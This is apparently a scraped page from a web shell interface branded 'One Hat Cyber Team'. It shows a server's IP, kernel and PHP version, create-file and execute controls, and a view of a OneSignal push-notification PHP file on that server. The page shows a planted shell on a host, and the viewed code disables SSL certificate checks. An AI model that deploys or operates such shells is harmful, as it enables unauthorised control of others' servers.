⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.142
Server IP:
217.76.53.76
Server:
Linux vmi1397931.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64
Server Software:
Apache
PHP Version:
8.2.27
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
www
/
wwwroot
/
welcome.nuttybe.com
/
sys
/
View File Name :
onesignal_config.php
$app_id, 'include_player_ids' => $data['send_to'], 'send_after' => new \DateTime('1 second'), 'isChrome' => false, 'contents' => array( 'en' => $data['notification']['notification_content'] ), 'headings' => array( 'en' => $data['notification']['notification_title'] ), 'android_led_color' => 'FF0000FF', 'priority' => 10 ); if (!empty($data['notification']['notification_data'])) { $final_request_data['data'] = $data['notification']['notification_data']; } if (!empty($data['notification']['notification_image'])) { $final_request_data['large_icon'] = $data['notification']['notification_image']; } // $send_notification = $api->notifications->add($final_request_data); // if ($send_notification['id']) { // return $send_notification['id']; // } $fields = json_encode($final_request_data); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "https://onesignal.com/api/v1/notifications"); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json; charset=utf-8', 'Authorization: Basic '.$app_key)); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($ch, CURLOPT_HEADER, FALSE); curl_setopt($ch, CURLOPT_POST, TRUE); curl_setopt($ch, CURLOPT_POSTFIELDS, $fields); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); $response = curl_exec($ch); curl_close($ch); $response = json_decode($response); if (!empty($response) && !empty($response->id) && $response->id) { return $response->id; } return false; } ?>